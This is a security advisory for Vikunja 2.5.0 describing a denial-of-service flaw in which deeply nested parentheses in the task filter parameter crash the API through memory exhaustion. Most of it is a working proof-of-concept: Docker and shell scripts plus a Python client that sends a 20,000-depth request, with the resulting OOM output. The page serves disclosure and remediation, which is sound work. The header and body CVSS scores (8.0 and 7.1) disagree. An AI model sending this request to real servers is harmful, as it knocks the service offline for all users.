Vulnerability GHSA-xxc3-xpmc-vmvr

High Risk
HIGH RISK
CVSS Score: 8.0
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
3 hours ago
October 09, 2026 at 08:53 PM UTC
Vikunja: Unbounded nested task-filter recursion permits API process termination
2.5.0
2.5.0

Summary

Vikunja: Unbounded nested task-filter recursion permits API process termination

Details

Unbounded nested task-filter recursion permits API process termination

Summary

Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.

Impact and affected scope

  • Type: Resource Exhaustion Recursive Parser
  • Affected component: GET /api/v2/projects/{project}/tasks?filter=; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString
  • Preconditions: A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter.
  • Verified revision: 349cd5adbcc831ef08b08e6c9c6d627603c39606 on 28 August 2026
  • Affected release range: = 2.5.0; broader historical range not established and maintainer confirmation requested

A single low-privileged network request can terminate the API process and deny service to all users.

Technical details

The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.

Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.

Relevant code:

  • pkg/models/task_collection_filter.go:240
  • pkg/models/task_collection_filter.go:268
  • pkg/models/task_collection_filter.go:274
  • pkg/models/task_collection_filter.go:276
  • pkg/models/task_collection_filter.go:295

Reproduction

Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.

Create reproduction/Dockerfile:

FROM golang:1.27.0-alpine

RUN apk add --no-cache bash build-base ca-certificates python3 tzdata

WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true

# Target source is supplied only at runtime through /target-repo:ro.
# This image contains build dependencies and reproduction helpers, not a clone.

Create reproduction/client.py:

#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request


BASE = "http://target:3456"


def request(method, path, body=None, token=None, expected=None, timeout=30):
    raw = None if body is None else json.dumps(body).encode()
    headers = {"Accept": "application/json"}
    if body is not None:
        headers["Content-Type"] = "application/json"
    if token:
        headers["Authorization"] = "Bearer " + token
    req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=timeout) as response:
            status, data = response.status, response.read()
    except urllib.error.HTTPError as exc:
        status, data = exc.code, exc.read()
    print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True)
    if expected is not None and status != expected:
        raise RuntimeError(f"{method}: got {status}, expected {expected}")
    return status, json.loads(data.decode()) if data else {}


def wait_ready():
    for _ in range(240):
        try:
            if request("GET", "/api/v1/info")[0] == 200:
                return
        except Exception:
            pass
        time.sleep(0.25)
    raise RuntimeError("target did not become ready")


def filter_path(project_id, depth):
    expression = "(" * depth + "id = 1" + ")" * depth
    path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="")
    print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True)
    return path


def main():
    wait_ready()
    username, password = "PoC-filter-user", "PoC-password-123!"
    request("POST", "/api/v2/register", {
        "username": username,
        "email": username + "@example.invalid",
        "password": password,
    }, expected=201)
    _, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
    token = login["token"]
    _, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201)

    started = time.monotonic()
    request("GET", filter_path(project["id"], 1000), token=token, expected=200)
    print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True)

    try:
        status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90)
        raise RuntimeError(f"attack unexpectedly returned HTTP {status}")
    except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
        print(f"PoC_FILTER_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)
    print("PoC_FILTER_ATTACK_SENT depth=20000", flush=True)


if __name__ == "__main__":
    try:
        main()
    except Exception as exc:
        print(f"PoC_FILTER_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
        raise

Create reproduction/prepare.sh:

#!/usr/bin/env bash
set -euo pipefail

mkdir -p /work/repo
cp -a /target-repo/. /work/repo/
mkdir -p /work/repo/frontend/dist
cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html

cd /work/repo
CGO_ENABLED=1 go build \
  -tags osusergo \
  -ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \
  -o /output/vikunja .
chmod 0755 /output/vikunja

if [[ -f /app/probe.go ]]; then
  go build -o /output/probe /app/probe.go
  chmod 0755 /output/probe
fi

Create reproduction/run.sh:

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="349cd5adbcc831ef08b08e6c9c6d627603c39606"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-reproduction.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
BUILD_DIR="${WORKDIR}/build"
DATA_DIR="${WORKDIR}/data"
NETWORK="${IMAGE_TAG}-net-$$"
TARGET_CONTAINER="${IMAGE_TAG}-target-$$"

cleanup() {
  docker rm -f "${TARGET_CONTAINER}" >/dev/null 2>&1 || true
  docker network rm "${NETWORK}" >/dev/null 2>&1 || true
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

mkdir -p "${BUILD_DIR}" "${DATA_DIR}/files"
chmod 0777 "${BUILD_DIR}" "${DATA_DIR}" "${DATA_DIR}/files"
echo "[PoC] cloning and pinning target ${TARGET_REF}"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
echo "[PoC] building helper image ${IMAGE_TAG}"
docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
docker run --rm -v "${TARGET_REPO_DIR}:/target-repo:ro" -v "${BUILD_DIR}:/output" "${IMAGE_TAG}" /app/prepare.sh
docker network create "${NETWORK}" >/dev/null
docker run --detach --name "${TARGET_CONTAINER}" \
  --network "${NETWORK}" --network-alias target \
  --memory 512m --memory-swap 512m --pids-limit 256 \
  -v "${BUILD_DIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \
  -e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \
  -e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \
  -e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \
  -e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \
  -e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \
  -e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \
  "${IMAGE_TAG}" /app/vikunja web >/dev/null

set +e
OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGE_TAG}" python3 /app/client.py 2>&1)"
CLIENT_STATUS=$?
set -e
printf '%s\n' "${OUTPUT}"
for _ in $(seq 1 80); do
  STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
  [[ "${STATE}" != "false 0 true" ]] && break
  sleep 0.25
done
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
echo "PoC_FILTER_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}"
if ! grep -q 'PoC_FILTER_CONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoC_FILTER_ATTACK_SENT depth=20000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then
  echo "[PoC] FAIL: nested filter did not produce the expected cgroup OOM termination" >&2
  exit 1
fi
echo "PoC_FILTER_RECURSION=PASS depth=20000 OOMKilled=true ExitCode=137"
echo "[PoC] SUCCESS: an approximately 120 KB authenticated request terminated a 512 MiB API process"

Create reproduction/frontend-placeholder.html:

<!doctype html><title>PoC backend reproduction placeholder</title>

From the directory containing these files, run:

chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh

Expected: A low-privileged request below the server request-size ceiling terminates the API process through unbounded filter parsing.

Observed: Depth 1,000 returned HTTP 200 in 14 ms. The 120,044-byte depth-20,000 request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_FILTER_RECURSION=PASS.

Verification and controls: The client creates an ordinary account and project, asserts the depth-1,000 route control is HTTP 200, submits depth 20,000, and the host script accepts only the attack marker plus Docker OOMKilled=true and ExitCode=137.

Observed evidence:

  • depth=1000 target_bytes=6044: HTTP 200
  • depth=20000 target_bytes=120044: RemoteDisconnected
  • target container: OOMKilled=true, ExitCode=137
  • PoC_FILTER_RECURSION=PASS

Suggested remediation

Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.

Severity

CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.

Disclosure context and attribution

AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.

Reported by the University of Sydney security research team:

We are happy to answer questions, provide additional verification details, or validate a candidate patch.

Impacted packages

Timeline

Published
3 hours ago
October 09, 2026 at 08:53 PM UTC
Last Modified
3 hours ago
October 09, 2026 at 09:00 PM UTC